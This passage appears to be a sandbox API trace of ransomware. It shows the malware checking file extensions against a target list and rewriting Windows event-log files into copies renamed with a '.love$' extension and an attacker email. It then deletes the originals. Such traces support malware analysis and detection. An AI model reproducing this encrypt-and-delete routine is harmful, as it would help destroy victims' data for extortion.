(lpString=".7z") returned 3 [0225.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.528] lstrlenW (lpString=".dbf") returned 4 [0225.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.528] lstrlenW (lpString=".1cd") returned 4 [0225.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0225.528] lstrlenW (lpString=".jpg") returned 4 [0225.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.528] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.528] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0225.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0225.685] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0225.685] CloseHandle (hObject=0x42c) returned 1 [0225.816] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0225.824] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.824] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0225.825] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0225.825] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0225.825] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0225.825] GetLastError () returned 0x0 [0225.825] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.834] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.837] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0225.837] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x130, lpOverlapped=0x0) returned 1 [0225.837] SetEndOfFile (hFile=0x44c) returned 1 [0225.837] CloseHandle (hObject=0x44c) returned 1 [0225.840] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0225.840] SetEndOfFile (hFile=0x3c0) returned 1 [0225.842] CloseHandle (hObject=0x3c0) returned 1 [0225.842] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.842] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0225.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.843] lstrlenW (lpString=".doc") returned 4 [0225.843] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.843] lstrlenW (lpString=".docx") returned 5 [0225.843] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.843] lstrlenW (lpString=".pdf") returned 4 [0225.843] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.843] lstrlenW (lpString=".xls") returned 4 [0225.843] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.843] lstrlenW (lpString=".xlsx") returned 5 [0225.843] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.843] lstrlenW (lpString=".ppt") returned 4 [0225.843] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.843] lstrlenW (lpString=".zip") returned 4 [0225.844] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString=".rar") returned 4 [0225.844] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString=".bz2") returned 4 [0225.844] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString=".7z") returned 3 [0225.844] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.844] lstrlenW (lpString=".dbf") returned 4 [0225.844] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.844] lstrlenW (lpString=".1cd") returned 4 [0225.844] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.844] lstrlenW (lpString=".jpg") returned 4 [0225.844] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.844] lstrlenW (lpString=".doc") returned 4 [0225.844] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.844] lstrlenW (lpString=".docx") returned 5 [0225.844] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.844] lstrlenW (lpString=".pdf") returned 4 [0225.844] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString=".xls") returned 4 [0225.845] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString=".xlsx") returned 5 [0225.845] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.845] lstrlenW (lpString=".ppt") returned 4 [0225.845] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.845] lstrlenW (lpString=".zip") returned 4 [0225.845] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString=".rar") returned 4 [0225.845] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString=".bz2") returned 4 [0225.845] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString=".7z") returned 3 [0225.845] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.845] lstrlenW (lpString=".dbf") returned 4 [0225.845] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.845] lstrlenW (lpString=".1cd") returned 4 [0225.845] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0225.845] lstrlenW (lpString=".jpg") returned 4 [0225.845] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.846] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.846] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0225.846] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.143] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.143] CloseHandle (hObject=0x45c) returned 1 [0226.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0226.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.143] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.143] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.143] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.143] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.144] GetLastError () returned 0x0 [0226.144] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.169] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.171] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.171] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x154, lpOverlapped=0x0) returned 1 [0226.171] SetEndOfFile (hFile=0x460) returned 1 [0226.172] CloseHandle (hObject=0x460) returned 1 [0226.176] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.176] SetEndOfFile (hFile=0x45c) returned 1 [0226.178] CloseHandle (hObject=0x45c) returned 1 [0226.181] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.182] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0226.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.182] lstrlenW (lpString=".doc") returned 4 [0226.182] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.182] lstrlenW (lpString=".docx") returned 5 [0226.182] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.182] lstrlenW (lpString=".pdf") returned 4 [0226.182] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.182] lstrlenW (lpString=".xls") returned 4 [0226.182] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString=".xlsx") returned 5 [0226.183] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.183] lstrlenW (lpString=".ppt") returned 4 [0226.183] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString=".zip") returned 4 [0226.183] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString=".rar") returned 4 [0226.183] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString=".bz2") returned 4 [0226.183] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString=".7z") returned 3 [0226.183] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString=".dbf") returned 4 [0226.183] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString=".1cd") returned 4 [0226.183] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString=".jpg") returned 4 [0226.183] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.183] lstrlenW (lpString=".doc") returned 4 [0226.183] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.183] lstrlenW (lpString=".docx") returned 5 [0226.183] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.183] lstrlenW (lpString=".pdf") returned 4 [0226.184] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString=".xls") returned 4 [0226.184] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString=".xlsx") returned 5 [0226.184] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.184] lstrlenW (lpString=".ppt") returned 4 [0226.184] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.184] lstrlenW (lpString=".zip") returned 4 [0226.184] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString=".rar") returned 4 [0226.184] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString=".bz2") returned 4 [0226.184] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString=".7z") returned 3 [0226.184] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.184] lstrlenW (lpString=".dbf") returned 4 [0226.184] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.184] lstrlenW (lpString=".1cd") returned 4 [0226.184] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0226.184] lstrlenW (lpString=".jpg") returned 4 [0226.184] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.184] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.185] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0226.185] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.185] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.185] CloseHandle (hObject=0x45c) returned 1 [0226.189] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0226.189] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.189] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.189] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.189] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.189] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.203] GetLastError () returned 0x0 [0226.203] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.443] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.460] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0226.461] WriteFile (in: hFile=0x460, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x130, lpOverlapped=0x0) returned 1 [0226.461] SetEndOfFile (hFile=0x460) returned 1 [0226.461] CloseHandle (hObject=0x460) returned 1 [0226.464] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0226.464] SetEndOfFile (hFile=0x45c) returned 1 [0226.466] CloseHandle (hObject=0x45c) returned 1 [0226.466] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.467] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0226.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.468] lstrlenW (lpString=".doc") returned 4 [0226.468] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".docx") returned 5 [0226.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.468] lstrlenW (lpString=".pdf") returned 4 [0226.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".xls") returned 4 [0226.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".xlsx") returned 5 [0226.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.468] lstrlenW (lpString=".ppt") returned 4 [0226.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.468] lstrlenW (lpString=".zip") returned 4 [0226.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".rar") returned 4 [0226.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".bz2") returned 4 [0226.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString=".7z") returned 3 [0226.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.468] lstrlenW (lpString=".dbf") returned 4 [0226.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.468] lstrlenW (lpString=".1cd") returned 4 [0226.469] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.469] lstrlenW (lpString=".jpg") returned 4 [0226.469] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.469] lstrlenW (lpString=".doc") returned 4 [0226.469] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".docx") returned 5 [0226.469] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.469] lstrlenW (lpString=".pdf") returned 4 [0226.469] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".xls") returned 4 [0226.469] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".xlsx") returned 5 [0226.469] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.469] lstrlenW (lpString=".ppt") returned 4 [0226.469] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.469] lstrlenW (lpString=".zip") returned 4 [0226.469] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".rar") returned 4 [0226.469] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".bz2") returned 4 [0226.469] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.469] lstrlenW (lpString=".7z") returned 3 [0226.470] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.470] lstrlenW (lpString=".dbf") returned 4 [0226.470] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.470] lstrlenW (lpString=".1cd") returned 4 [0226.470] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0226.470] lstrlenW (lpString=".jpg") returned 4 [0226.470] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.470] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.470] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0226.470] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.471] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0226.471] CloseHandle (hObject=0x45c) returned 1 [0226.471] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0226.471] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[im.online@aol.com].love$" 